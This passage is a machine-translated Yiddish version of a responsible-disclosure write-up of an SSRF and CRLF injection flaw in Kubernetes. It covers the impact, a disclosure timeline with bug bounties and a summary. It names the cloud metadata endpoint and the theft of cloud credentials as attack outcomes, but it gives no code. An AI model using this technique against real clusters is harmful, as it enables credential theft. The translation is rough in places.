  • ืงืœื™ื™ึทื‘ืŸ ืื™ื ืคึฟืึธืจืžืึทืฆื™ืข ืื•ืŸ ื™ื ืคืจืึทืกื˜ืจืึทืงื˜ืฉืขืจ ืื™ื ืคึฟืึธืจืžืึทืฆื™ืข ื“ื•ืจืš ืคึผืึธืœืœื™ื ื’ ื™ื ืขืจืœืขืš ืึทืคึผื™ืก ืึทื–ืึท ื•ื•ื™ ืžืขื˜ืึทื“ืึทื˜ืึท ืึทืคึผื™ (http://169.254.169.254,โ€ฆ).
  • ืกื˜ื™ืœื™ื ื’ ืงื•ื ื” ื“ืึทื˜ืŸ ื ื™ืฆืŸ ื•ื•ืึธืœืงืŸ ืงืจืึทื“ืขื ื˜ืฉืึทืœื–.

Availability

ื›ืœ ื’ื•ื•ื•ืจืข ืกื™ื ืขืจื™ืึธื•ื– ืฉื™ื™ึทื›ื•ืช ืฆื• ื‘ืึทืคืึทืœืŸ ื•ื•ืขืงื˜ืึธืจืก ืื•ื™ืฃ ืึธืจื ื˜ืœืขื›ืงื™ื™ึทื˜, ืงืขื ืขืŸ ื•ื•ืขืจืŸ ื’ืขื ื•ืฆื˜ ืคึฟืึทืจ ื“ืขืกื˜ืจื•ืงื˜ื™ื•ื•ืข ืึทืงืฉืึทื ื– ืื•ืŸ ืคื™ืจืŸ ืฆื• ืžืึทืกื˜ืขืจื™ ื™ื ืกื˜ืึทื ืกื™ื– ืคื•ืŸ ื“ืขื ืงืœื™ืขื ื˜ ืคึผืขืจื™ืžืขื˜ืขืจ (ืึธื“ืขืจ ืงื™ื™ืŸ ืื ื“ืขืจืข) ื–ื™ื™ึทืขื ื“ื™ืง ืึทื ืึทื•ื•ื™ื™ืœืึทื‘ืึทืœ.

ื–ื™ื ื˜ ืžื™ืจ ื–ืขื ืขืŸ ื’ืขื•ื•ืขืŸ ืื™ืŸ ืึท ื’ืขืจืื˜ืŸ K8 ืก ืกื•ื•ื™ื•ื•ืข ืื•ืŸ ืึทืกืกืขืกืก ื“ื™ ืคึผืจืึทืœ ืื•ื™ืฃ ืึธืจื ื˜ืœืขื›ืงื™ื™ึทื˜, ืžื™ืจ ืงืขื ืขืŸ ื™ืžืึทื“ื–ืฉืึทืŸ ืคื™ืœืข ืกื™ื ืขืจื™ืึธื•ื– ื•ื•ืึธืก ืงืขืŸ ืคึผืจืึทืœ ืึทื•ื•ื™ื™ืœืึทื‘ื™ืœืึทื˜ื™. ื ืึธืš ื‘ื™ื™ืฉืคื™ืœืŸ ืึทืจื™ื™ึทื ื ืขืžืขืŸ ืงืึธืจื•ืคึผืฆื™ืข ืคื•ืŸ โ€‹โ€‹ื“ื™ ืขื˜ืง ื“ืึทื˜ืึทื‘ื™ื™ืก ืึธื“ืขืจ ืžืึทื›ืŸ ืึท ืงืจื™ื˜ื™ืฉ ืจื•ืคืŸ ืฆื• ื“ื™ Kubernetes API.

ื˜ื™ื™ืžืœื™ื™ืŸ

  • 6 ื“ืขืฆืขืžื‘ืขืจ 2019: ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ื’ืขืžืืœื“ืŸ ืฆื• MSRC Bug Bounty.
  • 3 ื™ืื ื•ืืจ 2020: ื ื“ืจื™ื˜ ืคึผืึทืจื˜ื™ื™ ื™ื ืคืึธืจืžื“ Kubernetes ื“ืขื•ื•ืขืœืึธืคึผืขืจืก ืึทื– ืžื™ืจ ืึทืจื‘ืขื˜ืŸ ืื•ื™ืฃ ืึท ื–ื™ื›ืขืจื”ื™ื™ื˜ ืึทืจื•ื™ืกื’ืขื‘ืŸ. ืื•ืŸ ื’ืขื‘ืขื˜ืŸ ื–ื™ื™ ืฆื• ื‘ืึทื˜ืจืึทื›ื˜ืŸ SSRF ื•ื•ื™ ืึทืŸ ื™ื ืขืจืœืขืš (ืื™ืŸ-ื”ืึทืจืฅ) ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™. ื“ืขืจื ืึธืš ืžื™ืจ ืฆื•ื’ืขืฉื˜ืขืœื˜ ืึท ื’ืขื ืขืจืึทืœ ื‘ืึทืจื™ื›ื˜ ืžื™ื˜ ื˜ืขื›ื ื™ืฉ ื“ืขื˜ืึทื™ืœืก ื•ื•ืขื’ืŸ ื“ื™ ืžืงื•ืจ ืคื•ืŸ ื“ืขื ืคึผืจืึธื‘ืœืขื.
  • 15 ื™ืื ื•ืืจ 2020: ืžื™ืจ ืฆื•ื’ืขืฉื˜ืขืœื˜ ื˜ืขื›ื ื™ืฉ ืื•ืŸ ืึทืœื’ืขืžื™ื™ืŸ ืจื™ืคึผืึธืจืฅ ืฆื• Kubernetes ื“ืขื•ื•ืขืœืึธืคึผืขืจืก ืื•ื™ืฃ ื–ื™ื™ืขืจ ื‘ืงืฉื” (ื“ื•ืจืš ื“ื™ HackerOne ืคึผืœืึทื˜ืคืึธืจืžืข).
  • 15 ื™ืื ื•ืืจ 2020: ืงื•ื‘ืขืจื ืขื˜ืขืก ื“ืขื•ื•ืขืœืึธืคึผืขืจืก ื ืึธื•ื˜ืึทืคื™ื™ื“ ืื•ื ื“ื– ืึทื– ื”ืึทืœื‘-ื‘ืœื™ื ื“ SSRF + CRLF ื™ื ื“ื–ืฉืขืงืฉืึทืŸ ืคึฟืึทืจ ืคืึทืจื’ืึทื ื’ืขื ื”ื™ื™ื˜ ืจื™ืœื™ืกื™ื– ืื™ื– ื’ืขื”ืืœื˜ืŸ ืึทืŸ ืื™ืŸ-ื”ืึทืจืฅ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™. ืžื™ืจ ืžื™ื“ ืคืืจืฉื˜ืืคื˜ ืึทื ืึทืœื™ื™ื–ื™ื ื’ ื“ื™ ืคึผืขืจื™ืžืึทื˜ืขืจื– ืคื•ืŸ ืื ื“ืขืจืข ืกืขืจื•ื•ื™ืก ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื–: ื“ื™ K8s ืžืึทื ืฉืึทืคึฟื˜ ืื™ื– ืื™ืฆื˜ ื”ืึทื ื“ืœื™ื ื’ ืžื™ื˜ ื“ื™ ื•ื•ืึธืจืฆืœ ื’ืจื•ื ื˜.
  • 15 ื™ืื ื•ืืจ 2020: MSRC ื‘ืึทืœื•ื™ื ื•ื ื’ ื‘ืืงื•ืžืขืŸ ื“ื•ืจืš HackerOne.
  • 16 ื™ืื ื•ืืจ 2020: Kubernetes PSC (ืคึผืจืึธื“ื•ืงื˜ ื–ื™ื›ืขืจื”ื™ื™ื˜ ืงืึทืžื™ื˜ื™) ืื ืขืจืงืขื ื˜ ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื•ืŸ ื’ืขื‘ืขื˜ืŸ ืฆื• ื”ืึทืœื˜ืŸ ืขืก ืกื•ื“ ื‘ื™ื– ืžื™ื˜ืŸ ืžืึทืจืฅ ืจืขื›ื˜ ืฆื• ื“ืขืจ ื’ืจื•ื™ืก ื ื•ืžืขืจ ืคื•ืŸ ืคึผืึธื˜ืขื ืฆื™ืขืœ ื•ื•ื™ืงื˜ื™ืžืก.
  • 11 ืคืขื‘ืจื•ืืจ 2020: Google VRP ื‘ืึทืœื•ื™ื ื•ื ื’ ื‘ืืงื•ืžืขืŸ.
  • 4 ืžืขืจืฅ 2020: Kubernetes ื‘ืึทืœื•ื™ื ื•ื ื’ ื‘ืืงื•ืžืขืŸ ื“ื•ืจืš HackerOne.
  • 15 ืžืขืจืฅ 2020: ืึธืจื™ื’ื™ื ืึทืœืœื™ ืกืงืขื“ื–ืฉื•ืœื“ ืขืคื ื˜ืœืขืš ืึทื ื˜ืคึผืœืขืงื•ื ื’ ืคึผืึธื•ืกื˜ืคึผืึธื•ื ื“ ืจืขื›ื˜ ืฆื• ื“ืขืจ COVID-19 ืกื™ื˜ื•ืึทืฆื™ืข.
  • ื™ื•ื ื™ 1, 2020: Kubernetes + Microsoft ืฉืœืึธืก ื“ืขืจืงืœืขืจื•ื ื’ ื•ื•ืขื’ืŸ ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™.

ื˜ืœ; ื“ืจ

  • ืžื™ืจ ื˜ืจื™ื ืงืขืŸ ื‘ื™ืจ ืื•ืŸ ืขืกืŸ ืคึผื™ืฆืข :)
  • ืžื™ืจ ื“ื™ืกืงืึทื•ื•ืขืจื“ ืึทืŸ ืื™ืŸ-ื”ืึทืจืฅ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ืŸ Kubernetes, ื›ืึธื˜ืฉ ืžื™ืจ ื”ืึธื‘ืŸ ืงื™ื™ืŸ ื›ื•ื•ื ื” ืฆื• ื˜ืึธืŸ ื“ืึธืก.
  • ืžื™ืจ ื”ืึธื‘ืŸ ื“ื•ืจื›ื’ืขืงืึธื›ื˜ ื ืึธืš ืึทื ืึทืœื™ืกื™ืก ืื•ื™ืฃ ืงืœืึทืกื˜ืขืจื– ืคื•ืŸ ืคืึทืจืฉื™ื“ืขื ืข ื•ื•ืึธืœืงืŸ ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื– ืื•ืŸ ื–ืขื ืขืŸ ื‘ื™ื›ื•ืœืช ืฆื• ืคืึทืจื’ืจืขืกืขืจืŸ ื“ื™ ืฉืขื“ื™ืงืŸ ื’ืขืคึฟื™ืจื˜ ื“ื•ืจืš ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืฆื• ื‘ืึทืงื•ืžืขืŸ ื ืึธืš ืึธืกืึทื ื‘ืึธื ื•ืกืขืก.
  • ืื™ืจ ื•ื•ืขื˜ ื’ืขืคึฟื™ื ืขืŸ ืึท ืคึผืœืึทืฅ ืคื•ืŸ ื˜ืขื›ื ื™ืฉ ื“ืขื˜ืึทื™ืœืก ืื™ืŸ ื“ืขื ืึทืจื˜ื™ืงืœ. ืžื™ืจ ื•ื•ืึธืœื˜ ื–ื™ื™ืŸ ืฆื•ืคืจื™ื“ืŸ ืฆื• ื“ื™ืกืงื•ื˜ื™ืจืŸ ื–ื™ื™ ืžื™ื˜ ืื™ืจ (ื˜ื•ื•ื™ื˜ืขืจ: @ReeverZax & @__ื”ืื˜ืฉ_).
  • ืกืณื”ืึธื˜ ื–ื™ืš ืึทืจื•ื™ืกื’ืขื•ื•ื™ื–ืŸ, ืึทื– ืึทืœืขืจืœื™ื™ ืคืึธืจืžืึทืœื™ื˜ืขื˜ืŸ ืื•ืŸ ืจืขืคึผืึธืจื˜ืึทื–ืฉ ื”ืึธื˜ ื’ืขื“ื•ื™ืขืจื˜ ืคื™ืœ ืžืขืจ ื•ื•ื™ ื“ืขืจื•ื•ืึทืจื˜.

ืจืขืคึฟืขืจืขื ืฆืŸ

ืคึผืก ืคื•ืŸ ืื™ื‘ืขืจื–ืขืฆืขืจ

ืœื™ื™ืขื ืขืŸ ืื•ื™ืš ืื•ื™ืฃ ืื•ื ื“ื–ืขืจ ื‘ืœืึธื’:

ืžืงื•ืจ: www.habr.com

ืœื™ื™ื’ืŸ ืึท ื‘ืึทืžืขืจืงื•ื ื’